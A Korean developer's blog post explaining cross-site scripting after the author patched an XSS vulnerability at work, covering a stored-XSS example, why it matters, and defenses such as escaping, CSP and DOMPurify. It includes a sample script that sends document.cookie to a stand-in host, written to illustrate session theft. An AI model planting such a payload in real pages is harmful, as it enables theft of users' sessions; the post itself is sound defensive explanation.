본문 바로가기
Dev

[DEV] XSS

by dbs_ 2025. 6. 12.

 

 

회사에서 XSS 관련 보안취약점이 나와서 서버 코드상에서 방어로직을 짰는데, 다 짜고 나니 막긴 막았는데 구체적으로 어떤 식으로 XSS 공격이 재현되는지 궁금해서 개념과 함께 간단히 찾아보았다.

 

XSS란

  • 크로스 사이트 스크립팅
  • 사용자 입력값을 제대로 검증하지 않아 악성 스크립트가 실행되도록 허용되는 보안 취약점

 

XSS 예시

  1. 사용자가 등록한 글에 <script>alert("XSS")</script>를 삽입
  2. 이 값이 필터링 없이 서버에 저장됨
  3. 다른 사용자가 그 글을 볼 때, 브라우저에서 스크립트가 실행됨
  4. alert("XSS")가 브라우저의 JS 엔진에 의해 실행되었음 (즉, XSS 성공)

 

왜 문제가 되는가?

  • 세션 탈취 가능
    • document.cookie를 탈취하여 로그인 상태를 가로챌 수 있음
<!-- 예시 -->
<script>
fetch("http://test.com/log?cookie=" + document.cookie)
</script>
  • 악성 JS 삽입 가능
    • 광고, 트래픽 리디렉션, 피싱 링크 주입 가능
  • 다른 사용자에게 피해 확산
    • 공지를 본 모든 사용자에게 자동 실행됨 (Stored XSS 특성상 지속적임)

 

어떻게 방어해야 할까? 

  • 입력단 필터링
    • <, >, ", ', script, onerror, onload 등 금지 혹은 이스케이프 처리
  • 출력 시 컨텍스트별 이스케이프
    • HTML은 &lt;, &gt;, JS/Attr은 별도 escape
  • Content-Security-Policy (CSP)
    • 브라우저에서 인라인 스크립트 차단
  • DOMPurify 등 JS sanitizer 사용
    • 사용자 콘텐츠를 innerHTML 삽입 전 필터링

 

위에서 말했다시피, 나는 XSS 이슈를 방지하기 위해 위험 요소들을 하나하나 정규식으로 escaping하는 공통 메서드를 만들어 사용했다. 그런데 이후 찾아보니, Spring에서 기본 제공하는 HtmlUtils.htmlEscape()나 Apache Commons Text의 StringEscapeUtils.escapeHtml4() 같은 검증된 유틸 함수들이 이미 존재했다. 역시 모든 건 이미 다 존재할 텐데 왜 그랬을까 ㅎ 다른 언어에서도 비슷한 escaping 유틸이나 보안 라이브러리들이 다양하게 제공되고 있어서 다음에는 직접 구현하기보다는, 이런 유틸을 적극 활용해보려고 한다.

 

 

'Dev' 카테고리의 다른 글

[DEV] Tomcat 서버를 윈도우 서비스로 등록  (2) 2025.07.31
[DEV] DHCP  (1) 2025.07.27
[DEV] MCP(Model Context Protocol)  (1) 2025.05.09
[DEV] curl  (0) 2025.03.30
[DEV] SBOM에 대하여  (0) 2025.03.09